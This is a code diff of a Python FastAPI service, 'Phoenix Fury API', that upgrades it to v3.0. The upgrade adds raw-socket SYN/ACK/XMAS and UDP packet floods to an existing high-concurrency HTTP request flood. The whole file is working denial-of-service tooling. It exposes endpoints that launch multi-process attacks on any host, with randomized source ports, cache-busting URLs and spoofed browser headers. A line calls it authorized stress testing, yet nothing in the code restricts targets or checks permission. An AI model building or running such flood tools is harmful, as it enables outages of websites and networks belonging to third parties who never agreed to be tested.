Update phoenix_fury_api.py

phoenix_fury_api.py

@@ -1,13 +1,15 @@
 # ====================================================================================
-#  PHOENIX FURY API v2.0 - HIGH-RPS EDITION
+#  PHOENIX FURY API v3.0 - UNIFIED L4/L7 HIGH-PERFORMANCE EDITION
 #
-#  - RE-ARCHITECTED: Uses multiprocessing.Manager and shared memory counters
-#    for near-zero overhead statistics, enabling massive RPS scaling.
-#  - OPTIMIZED L7: Aggressive aiohttp connection pooling and a lean async
-#    worker loop designed for maximum request throughput.
-#  - SIMPLIFIED STATE: Centralized state management for instant status updates.
+#  - UNIFIED: Combines high-PPS Layer 4 raw socket attacks (TCP/UDP) with
+#    high-RPS Layer 7 HTTP attacks in a single powerful API.
+#  - MAXIMUM PERFORMANCE: Utilizes a multiprocessing.Manager for state and
+#    a lock-protected shared memory counter for near-zero overhead statistics.
+#  - AIOHTTP FIX: Corrected TCPConnector for compatibility with modern versions.
+#  - PRIVILEGE AWARE: Automatically detects root/admin rights and enables
+#    L4 capabilities accordingly.
 #
-#  *** BUILT FOR MAXIMUM L7 REQUESTS PER SECOND (RPS) ***
+#  *** DESIGNED FOR AUTHORIZED, HIGH-THROUGHPUT STRESS TESTING ***
 # ====================================================================================
 
 import socket
@@ -23,10 +25,10 @@ import sys
 import psutil
 import uvloop
 from typing import Literal, Optional, List
-from ctypes import c_bool, c_ulonglong
+from ctypes import c_ulonglong
 
 # FastAPI & Pydantic
-from fastapi import FastAPI, HTTPException, BackgroundTasks
+from fastapi import FastAPI, HTTPException
 from pydantic import BaseModel, Field, validator
 import uvicorn
 
@@ -35,331 +37,312 @@ asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())
 
 # --- Application Setup & Constants ---
 app = FastAPI(
-    title="🔥 Phoenix Fury API v2.0",
-    description="A high-RPS, multi-process L4/L7 stress testing tool. Re-architected for maximum performance. Requires root/admin privileges for Layer 4 attacks.",
-    version="2.0.0"
+    title="🔥 Phoenix Fury API v3.0",
+    description="A unified, high-performance L4/L7 stress testing tool for authorized security research and network testing. Requires root/administrator privileges for Layer 4 attacks.",
+    version="3.0.0"
 )
 CPU_COUNT = psutil.cpu_count(logical=True)
-STATS_BATCH_UPDATE_SIZE = 200 # How many requests a worker makes before updating the shared counter
+STATS_BATCH_UPDATE_SIZE = 500  # Workers update the global counter after this many packets/requests
 
 # --- Realistic Browser Headers ---
 USER_AGENTS = [
     "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
-    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0",
 ]
-HTTP_HEADERS = {
-    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
-    "Accept-Language": "en-US,en;q=0.5",
-    "Accept-Encoding": "gzip, deflate, br",
-    "Connection": "keep-alive",
-    "Upgrade-Insecure-Requests": "1",
-    "Sec-Fetch-Dest": "document",
-    "Sec-Fetch-Mode": "navigate",
-    "Sec-Fetch-Site": "none",
-    "Sec-Fetch-User": "?1",
-    "TE": "trailers",
-}
+HTTP_HEADERS = {"Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"}
 
 # ====================================================================================
 #  GLOBAL SHARED STATE (HIGH PERFORMANCE)
 # ====================================================================================
-# Using a Manager is the cleanest way to share complex state between processes.
-# For raw performance, Value/Event are used for high-frequency updates.
 manager = multiprocessing.Manager()
 STATE = manager.dict()
 STOP_EVENT = multiprocessing.Event()
-TOTAL_SENT_COUNTER = multiprocessing.Value(c_ulonglong, 0)
+PACKET_COUNTER = multiprocessing.Value(c_ulonglong, 0)
+active_processes: List[multiprocessing.Process] = []
 
 def reset_state():
     """Resets the shared state to default values."""
     STATE.clear()
     STATE.update({
-        "attack_running": False,
-        "attack_type": "None",
-        "target_host": "None",
-        "target_ip": "None",
-        "port": 0,
-        "duration": 0,
-        "start_time": 0.0,
-        "processes": 0,
-        "current_rate": 0.0,
+        "attack_running": False, "attack_type": "None", "target_host": "None",
+        "target_ip": "None", "port": 0, "duration": 0, "start_time": 0.0,
+        "processes": 0, "current_rate": 0.0,
     })
     STOP_EVENT.clear()
-    with TOTAL_SENT_COUNTER.get_lock():
-        TOTAL_SENT_COUNTER.value = 0
-
-reset_state() # Initialize on startup
+    with PACKET_COUNTER.get_lock():
+        PACKET_COUNTER.value = 0
+    active_processes.clear()
 
 # ====================================================================================
 #  Pydantic API Models
 # ====================================================================================
-class L7Config(BaseModel):
-    target: str = Field(..., description="Target hostname or IP address (e.g., http://example.com)")
+class BaseAttackConfig(BaseModel):
+    target: str = Field(..., description="Target hostname or IP address")
     port: int = Field(..., ge=1, le=65535, description="Target port")
-    duration: int = Field(..., ge=10, description="Attack duration in seconds")
-    processes: int = Field(CPU_COUNT, ge=1, le=CPU_COUNT*4, description=f"Number of processes to spawn. Defaults to CPU cores ({CPU_COUNT}).")
-    concurrency_per_process: int = Field(512, ge=1, le=4096, description="Concurrent async tasks per process.")
+    duration: int = Field(..., ge=10, le=3600, description="Attack duration in seconds")
+    processes: int = Field(CPU_COUNT, ge=1, le=CPU_COUNT * 8, description=f"Number of processes. Defaults to {CPU_COUNT}.")
+
+class L4TCPConfig(BaseAttackConfig):
+    method: Literal["syn", "ack", "fin", "rst", "psh", "urg", "xmas"] = Field("syn", description="TCP flag")
+
+class L4UDPConfig(BaseAttackConfig):
+    payload_size: int = Field(512, ge=0, le=1472, description="Size of UDP payload in bytes.")
+
+class L7Config(BaseAttackConfig):
+    concurrency_per_process: int = Field(512, ge=1, le=8192, description="Concurrent async tasks per process.")
     method: Literal["get", "post", "head"] = Field("get", description="HTTP method.")
     path: str = Field("/", description="Request path")
 
 class StatusResponse(BaseModel):
-    attack_running: bool
-    attack_type: str
-    target: str
-    port: int
-    duration: int
-    elapsed_time: float
-    processes: int
-    total_requests_sent: int
-    current_rate_rps: float
-    cpu_usage_percent: float
-    memory_usage_percent: float
+    attack_running: bool; attack_type: str; target: str; port: int; duration: int
+    elapsed_time: float; processes: int; total_sent: int; current_rate_pps_rps: float
+    cpu_usage_percent: float; memory_usage_percent: float
 
 # ====================================================================================
-#  CORE UTILS & NETWORKING
+#  CORE NETWORKING & UTILS
 # ====================================================================================
+def check_root() -> bool:
+    try: return os.geteuid() == 0
+    except AttributeError: import ctypes; return ctypes.windll.shell32.IsUserAnAdmin() != 0
+
 def resolve_target(target: str) -> str:
-    """Safely resolve hostname to IP."""
     try:
-        # Handle URLs like http://domain.com
-        if "://" in target:
-            target = target.split("://")[1].split("/")[0]
+        if "://" in target: target = target.split("://")[1].split("/")[0]
         return socket.gethostbyname(target)
-    except socket.gaierror:
-        raise HTTPException(status_code=400, detail=f"Could not resolve hostname: {target}")
+    except socket.gaierror: raise HTTPException(status_code=400, detail=f"Could not resolve hostname: {target}")
+
+def calculate_checksum(data: bytes) -> int:
+    s = 0;
+    if len(data) % 2: data += b'\0'
+    for i in range(0, len(data), 2): s += (data[i] << 8) + data[i+1]
+    s = (s >> 16) + (s & 0xffff); s += (s >> 16); return (~s) & 0xffff
+
+def get_local_ip(target_ip: str) -> str:
+    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); s.connect((target_ip, 1)); ip = s.getsockname()[0]; s.close(); return ip
+
+# ====================================================================================
+#  L4 ATTACK WORKER
+# ====================================================================================
+def l4_worker_process(target_ip, port, duration, attack_type, method_details, stop_event, shared_counter):
+    local_ip = get_local_ip(target_ip)
+    local_counter = 0
+
+    try:
+        sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
+    except PermissionError:
+        print(f"[Process {os.getpid()}] FATAL: Permission denied to create raw socket. Run as root/administrator.", file=sys.stderr)
+        return
+    except Exception as e:
+        print(f"[Process {os.getpid()}] Socket error: {e}", file=sys.stderr)
+        return
+
+    # Pre-craft parts of the packet that don't change
+    ip_header_base = struct.pack('!BBHHHBBH4s4s', 69, 0, 40, 0, 0, 64, 0, 0, socket.inet_aton(local_ip), socket.inet_aton(target_ip))
+    
+    if attack_type == 'tcp':
+        flag_map = {"syn": 2, "ack": 16, "fin": 1, "rst": 4, "psh": 8, "urg": 32, "xmas": 41}
+        flags = flag_map.get(method_details, 2)
+    else: # udp
+        payload = os.urandom(method_details)
+
+    while not stop_event.is_set():
+        src_port = random.randint(1025, 65535)
+        
+        if attack_type == 'tcp':
+            ip_header = ip_header_base[:6] + (socket.IPPROTO_TCP,).to_bytes(1, 'big') + ip_header_base[7:]
+            tcp_header = struct.pack('!HHLLBBHHH', src_port, port, random.randint(1, 9999999), 0, 80, flags, 5840, 0, 0)
+            pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton(local_ip), socket.inet_aton(target_ip), 0, socket.IPPROTO_TCP, len(tcp_header))
+            checksum = calculate_checksum(pseudo_header + tcp_header)
+            tcp_header = tcp_header[:16] + struct.pack('!H', checksum) + tcp_header[18:]
+            packet = ip_header + tcp_header
+        else: # udp
+            ip_header = ip_header_base[:6] + (socket.IPPROTO_UDP,).to_bytes(1, 'big') + ip_header_base[7:]
+            udp_header = struct.pack('!HHHH', src_port, port, 8 + method_details, 0) # Length includes header
+            packet = ip_header + udp_header + payload
+        
+        sock.sendto(packet, (target_ip, 0))
+        local_counter += 1
+
+        if local_counter >= STATS_BATCH_UPDATE_SIZE:
+            with shared_counter.get_lock(): shared_counter.value += local_counter
+            local_counter = 0
+
+    if local_counter > 0:
+        with shared_counter.get_lock(): shared_counter.value += local_counter
+    sock.close()
 
 # ====================================================================================
-#  HIGH-PERFORMANCE L7 WORKER
+#  L7 ATTACK WORKER
 # ====================================================================================
 async def l7_task(session, url, method, stop_event, shared_counter):
-    """A single async task that hammers a URL in a loop."""
     local_counter = 0
     while not stop_event.is_set():
         try:
-            # Add a random query param to bypass caches
-            request_url = f"{url}?{random.randint(1, 99999999)}"
-            async with session.request(method, request_url, ssl=False):
+            async with session.request(method, f"{url}?{random.randint(1, 99999999)}"):
                 local_counter += 1
-                if local_counter >= STATS_BATCH_UPDATE_SIZE:
-                    with shared_counter.get_lock():
-                        shared_counter.value += local_counter
-                    local_counter = 0
         except Exception:
-            # In a stress test, we expect errors. Count them as attempts.
-            local_counter += 1
+            local_counter += 1 # Count attempts, not just successes
+        finally:
             if local_counter >= STATS_BATCH_UPDATE_SIZE:
-                with shared_counter.get_lock():
-                    shared_counter.value += local_counter
+                with shared_counter.get_lock(): shared_counter.value += local_counter
                 local_counter = 0
-        # Yield control to the event loop immediately
-        await asyncio.sleep(0)
-    
-    # Final update before exiting
+            await asyncio.sleep(0) # Yield control
     if local_counter > 0:
-        with shared_counter.get_lock():
-            shared_counter.value += local_counter
+        with shared_counter.get_lock(): shared_counter.value += local_counter
 
 async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
-    """Main async function for a single worker process."""
     headers = {**HTTP_HEADERS, "User-Agent": random.choice(USER_AGENTS)}
-    
-    # Aggressive connector settings for high RPS
-    connector = aiohttp.TCPConnector(
-        limit_per_host=0,  # No limit on connections per host
-        limit=None,        # No limit on total connections
-        force_close=False, # Reuse connections
-        enable_keepalive=True,
-        use_dns_cache=True,
-        ttl_dns_cache=300, # Cache DNS for 5 mins
-        ssl=False
-    )
-
+    connector = aiohttp.TCPConnector(limit=None, force_close=False, ssl=False) # FIX: enable_keepalive removed
     timeout = aiohttp.ClientTimeout(total=10, connect=5)
-
     async with aiohttp.ClientSession(connector=connector, headers=headers, timeout=timeout) as session:
-        tasks = [
-            l7_task(session, url, method, stop_event, shared_counter)
-            for _ in range(concurrency)
-        ]
+        tasks = [l7_task(session, url, method, stop_event, shared_counter) for _ in range(concurrency)]
         await asyncio.gather(*tasks)
 
 def l7_worker_process(target_ip, port, path, method, concurrency, stop_event, shared_counter):
-    """The entry point for each spawned L7 attack process."""
-    # Construct the base URL. aiohttp handles the Host header correctly.
     url = f"http://{target_ip}:{port}{path}"
     try:
         asyncio.run(l7_worker_main(url, method, concurrency, stop_event, shared_counter))
-    except KeyboardInterrupt:
-        pass # Allow clean exit
     except Exception as e:
         print(f"[Process {os.getpid()}] Worker error: {e}", file=sys.stderr)
 
 # ====================================================================================
-#  ATTACK MANAGER & STATE CONTROLLER
+#  ATTACK CONTROLLER
 # ====================================================================================
-active_processes: List[multiprocessing.Process] = []
-
-def start_attack(config: L7Config):
-    """Initiates the L7 attack."""
-    if STATE["attack_running"]:
-        print("Attack start requested, but one is already running.")
-        return
-
+def start_attack(config, family: str):
+    if STATE["attack_running"]: return
     try:
         target_ip = resolve_target(config.target)
-        
-        # --- Update Global State ---
+        if family == 'l4' and not check_root():
+            print("L4 ATTACK FAILED: Root/administrator privileges are required.", file=sys.stderr)
+            raise PermissionError("L4 attacks require root privileges.")
+
         STATE["attack_running"] = True
         STATE["target_host"] = config.target
         STATE["target_ip"] = target_ip
         STATE["port"] = config.port
         STATE["duration"] = config.duration
-        STATE["attack_type"] = f"L7-{config.method.upper()}"
         STATE["start_time"] = time.time()
         STATE["processes"] = config.processes
         
-        print(f"🔥 Starting {STATE['attack_type']} attack on {STATE['target_host']}:{STATE['port']} for {STATE['duration']}s")
+        worker_target, worker_args, attack_name = (None, None, None)
+        if family == 'l7':
+            attack_name = f"L7-{config.method.upper()}"
+            worker_target = l7_worker_process
+            worker_args = (target_ip, config.port, config.path, config.method, config.concurrency_per_process, STOP_EVENT, PACKET_COUNTER)
+        elif family == 'l4':
+            if isinstance(config, L4TCPConfig):
+                attack_name = f"L4-TCP-{config.method.upper()}"
+                worker_target = l4_worker_process
+                worker_args = (target_ip, config.port, config.duration, 'tcp', config.method, STOP_EVENT, PACKET_COUNTER)
+            elif isinstance(config, L4UDPConfig):
+                attack_name = "L4-UDP"
+                worker_target = l4_worker_process
+                worker_args = (target_ip, config.port, config.duration, 'udp', config.payload_size, STOP_EVENT, PACKET_COUNTER)
         
-        # --- Spawn Worker Processes ---
+        STATE["attack_type"] = attack_name
+        print(f"🔥 Starting {attack_name} attack on {config.target}:{config.port} for {config.duration}s")
+
         for _ in range(config.processes):
-            p = multiprocessing.Process(
-                target=l7_worker_process,
-                args=(
-                    target_ip,
-                    config.port,
-                    config.path,
-                    config.method,
-                    config.concurrency_per_process,
-                    STOP_EVENT,
-                    TOTAL_SENT_COUNTER
-                )
-            )
+            p = multiprocessing.Process(target=worker_target, args=worker_args)
             active_processes.append(p)
             p.start()
             
-        # --- Schedule the stop ---
-        main_thread = threading.Thread(target=timed_stop, args=(config.duration,))
-        main_thread.start()
+        threading.Thread(target=timed_stop, args=(config.duration,)).start()
 
     except Exception as e:
         print(f"Failed to start attack: {e}", file=sys.stderr)
         stop_attack_immediately()
 
-
 def timed_stop(duration: int):
-    """Waits for the duration and then stops the attack."""
     time.sleep(duration)
-    print(f"Duration of {duration}s reached. Stopping attack.")
+    print(f"\nDuration of {duration}s reached. Stopping attack.")
     stop_attack_immediately()
 
 def stop_attack_immediately():
-    """Stops the attack and cleans up resources."""
-    if not STATE["attack_running"]:
-        return {"status": "success", "message": "No attack was running."}
-        
-    print("🛑 Sending stop signal to all worker processes...")
+    if not STATE["attack_running"] and not STOP_EVENT.is_set(): return {"status": "info", "message": "No attack was running."}
+    
+    print("🛑 Sending stop signal...")
     STOP_EVENT.set()
     
     for p in active_processes:
-        p.join(timeout=5) # Give processes time to exit cleanly
-        if p.is_alive():
-            print(f"Process {p.pid} did not terminate gracefully, forcing termination.")
-            p.terminate()
+        p.join(timeout=5)
+        if p.is_alive(): p.terminate()
 
-    active_processes.clear()
-    
-    elapsed = time.time() - STATE['start_time']
-    total_sent = TOTAL_SENT_COUNTER.value
+    elapsed = time.time() - STATE['start_time'] if STATE['start_time'] else 0
+    total_sent = PACKET_COUNTER.value
     avg_rate = total_sent / elapsed if elapsed > 0 else 0
-    print("="*40)
-    print("✅ ATTACK TERMINATED.")
-    print(f"   Total Requests: {total_sent:,}")
-    print(f"   Elapsed Time:   {elapsed:.2f} seconds")
-    print(f"   Average Rate:   {avg_rate:,.2f} RPS")
-    print("="*40)
+    
+    print("="*40 + "\n✅ ATTACK TERMINATED.\n" + f"   Total Sent: {total_sent:,}\n" + 
+          f"   Elapsed Time: {elapsed:.2f}s\n" + f"   Average Rate: {avg_rate:,.2f} PPS/RPS\n" + "="*40)
 
     reset_state()
     return {"status": "success", "message": "Attack stopped."}
 
-
 def stats_calculator():
-    """A background thread to calculate RPS continuously."""
-    last_check_time = time.time()
-    last_count = 0
+    last_check_time = time.time(); last_count = 0
     while True:
         time.sleep(1)
         if STATE["attack_running"]:
-            now = time.time()
-            current_count = TOTAL_SENT_COUNTER.value
-            
+            now = time.time(); current_count = PACKET_COUNTER.value
             elapsed = now - last_check_time
-            if elapsed > 0:
-                rate = (current_count - last_count) / elapsed
-                STATE["current_rate"] = rate
-            
-            last_check_time = now
-            last_count = current_count
-        else:
-            if STATE["current_rate"] != 0:
-                STATE["current_rate"] = 0
-            last_count = 0
-
+            if elapsed > 0: STATE["current_rate"] = (current_count - last_count) / elapsed
+            last_check_time = now; last_count = current_count
+        elif STATE["current_rate"] != 0:
+            STATE["current_rate"] = 0; last_count = 0
 
 # ====================================================================================
 #  FASTAPI ENDPOINTS
 # ====================================================================================
 @app.on_event("startup")
 def on_startup():
-    """Start the background stats thread."""
     reset_state()
-    stats_thread = threading.Thread(target=stats_calculator, daemon=True)
-    stats_thread.start()
+    threading.Thread(target=stats_calculator, daemon=True).start()
+    print("="*50)
+    print("🔥 Phoenix Fury API v3.0 is ready.")
+    if check_root():
+        print("✅ Running with root privileges. Layer 4 attacks are ENABLED.")
+    else:
+        print("⚠️ WARNING: Not running with root privileges. Layer 4 attacks will FAIL.")
+    print("="*50)
+
+def launch_attack_in_background(config, family):
+    if STATE["attack_running"]: raise HTTPException(status_code=409, detail="An attack is already in progress.")
+    threading.Thread(target=start_attack, args=(config, family)).start()
 
 @app.post("/attack/layer7")
-def api_start_l7_attack(config: L7Config):
-    if STATE["attack_running"]:
-        raise HTTPException(status_code=409, detail="An attack is already in progress.")
-    
-    # We run the attack logic in a separate thread to not block the API response
-    attack_thread = threading.Thread(target=start_attack, args=(config,))
-    attack_thread.start()
-    
+def api_start_l7(config: L7Config):
+    launch_attack_in_background(config, 'l7')
     return {"status": "success", "message": f"L7 {config.method.upper()} attack initiated on {config.target}:{config.port}"}
 
-@app.post("/attack/stop")
-def api_stop_attack():
-    if not STATE["attack_running"]:
-        return {"status": "info", "message": "No attack is currently running."}
+@app.post("/attack/layer4/tcp")
+def api_start_l4_tcp(config: L4TCPConfig):
+    launch_attack_in_background(config, 'l4')
+    return {"status": "success", "message": f"L4 TCP-{config.method.upper()} attack initiated on {config.target}:{config.port}"}
+
+@app.post("/attack/layer4/udp")
+def api_start_l4_udp(config: L4UDPConfig):
+    launch_attack_in_background(config, 'l4')
+    return {"status": "success", "message": f"L4 UDP attack initiated on {config.target}:{config.port}"}
 
-    response = stop_attack_immediately()
-    return response
+@app.post("/attack/stop")
+def api_stop_attack(): return stop_attack_immediately()
 
 @app.get("/status", response_model=StatusResponse)
 def get_status():
-    """Provides a real-time status of the ongoing attack."""
-    elapsed = (time.time() - STATE["start_time"]) if STATE["attack_running"] else 0
     return StatusResponse(
-        attack_running=STATE["attack_running"],
-        attack_type=STATE["attack_type"],
-        target=f"{STATE['target_host']} ({STATE['target_ip']})",
-        port=STATE["port"],
+        attack_running=STATE["attack_running"], attack_type=STATE["attack_type"],
+        target=f"{STATE['target_host']} ({STATE['target_ip']})", port=STATE["port"],
         duration=STATE["duration"],
-        elapsed_time=round(elapsed, 2),
-        processes=STATE["processes"],
-        total_requests_sent=TOTAL_SENT_COUNTER.value,
-        current_rate_rps=round(STATE["current_rate"], 2),
-        cpu_usage_percent=psutil.cpu_percent(),
-        memory_usage_percent=psutil.virtual_memory().percent
+        elapsed_time=round(time.time() - STATE["start_time"], 2) if STATE["attack_running"] else 0,
+        processes=STATE["processes"], total_sent=PACKET_COUNTER.value,
+        current_rate_pps_rps=round(STATE["current_rate"], 2),
+        cpu_usage_percent=psutil.cpu_percent(), memory_usage_percent=psutil.virtual_memory().percent
     )
 
 @app.get("/")
-def root():
-    return {"message": "🔥 Phoenix Fury API v2.0 - High-RPS Edition", "docs": "/docs"}
+def root(): return {"message": "🔥 Phoenix Fury API v3.0 - Ready for authorized testing.", "docs": "/docs"}
 
 # --- Main Execution ---
 if __name__ == "__main__":
     multiprocessing.freeze_support()
-    print("Phoenix Fury API v2.0 starting up...")
-    print(f"Detected {CPU_COUNT} logical CPU cores.")
     uvicorn.run(app, host="0.0.0.0", port=8000)